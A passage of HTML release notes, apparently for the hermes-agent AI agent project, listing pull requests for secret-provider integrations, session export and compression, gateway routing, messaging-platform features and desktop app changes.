<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
